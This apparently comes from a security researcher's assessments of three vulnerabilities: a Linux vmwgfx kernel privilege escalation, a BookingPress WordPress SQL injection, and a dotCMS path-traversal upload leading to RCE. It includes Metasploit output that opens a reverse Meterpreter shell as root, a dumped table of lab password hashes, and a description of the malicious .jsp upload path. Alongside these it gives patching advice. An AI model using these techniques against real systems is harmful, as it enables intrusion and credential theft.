[*] Started reverse TCP handler on 172.16.199.1:4445
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. vmwgfx installed
[+] Original /bin/chfn backed up to /Users/jheysel/.msf4/loot/20230120093436_default_172.16.199.132_binchfn_034079.bin
[*] Uploading payload to /tmp/.6ntizxlWd8
[*] Writing '/tmp/.6ntizxlWd8' (282 bytes) ...
[*] Launching exploit...
[*] Sending stage (3045348 bytes) to 172.16.199.132
[+] Deleted /tmp/.oWt34mDG4b
[*] Meterpreter session 9 opened (172.16.199.1:4445 -> 172.16.199.132:36990) at 2023-01-20 09:34:45 -0500
[*] Replacing trojaned /bin/chfn with original

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 172.16.199.132
OS           : Ubuntu 22.04 (Linux 5.13.12-051312-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Defensive Suggestions

In order to protect yourself against exploitation of this vulnerability, ensure your linux VM kernel’s are up to date, and are only connected to the network where necessary.

If you’re absolutely unable to upgrade the kernel of a vulnerable machine it is possible to prevent the vulnerable kernel module from loading, RedHat demonstrates how to do that here: https://access.redhat.com/solutions/41278. However, this is a bandaid fix and promotes poor security posture, update the kernel whenever possible.

This is a trivial SQL injection and is very easy to exploit. The vulnerability lies in the bookingpress_front_get_category_services action in the BookingPress Wordpress Plugin. The vulnerable action accepts a parameter total_service which doesn’t properly sanitize input before passing it into a dynamically generated SQL query.

The vulnerability allows an unauthenticated attacker to instantly dump all the username and password hashes in the database. Anyone that can access the plugin page, also has access to all the creds in the database:

Wordpress User Credentials
==========================

 Username       Email                         Hash
 --------       -----                         ----
 admin          admin@admin.com               $P$BfxUckldN6AiHPD0BK6jg58se2b.aL.
 hackerman      hackerman@hacktheworld.io     $P$BESfz7bqSOY8VkUfuYXAZ/bT5E36ww/
 mr_metasploit  mr_metasploit@metaslpoit.org  $P$BDb8pIfym5dS6WTnNU8vU5Uk6i89fk.
 msfuser        msfuser@rapid7.com            $P$BpITVDPiqOZ7fyQbI5g9rsgUvZQFBd1
 todd           todd@toddtown.com             $P$BnlpkVgxGFWnmvdDQ3JStgpIx8LMFj0

(the above output was generated from running the metasploit module against BookingPress v1.0.10)

With only a few thousand active installations I gave the Attacker Value a 2/5. Always be sure to keep your WordPress plugins up to date!

CVE-2020-26352 is an unauthenticated directory traversal vulnerability in dotCMS which allows for arbitrary file upload and effectively RCE.

When files are uploaded to DotCMS via the file upload API, before the file becomes content, dotCMS writes the file down in a temporary directory. The vulnerability lies in the fact that DotCMS does not sanitize the filename passed in via the multipart request header and thus does not sanitize the temporary file’s name. This allows an attacker to craft a request to POST files to dotCMS via the ContentResource API that gets written outside of the dotCMS temporary directory. An attacker can upload a specially crafted .jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.

A metasploit module is available and easy to use. If you have an internet facing dotCMS instance running, make sure it’s patched!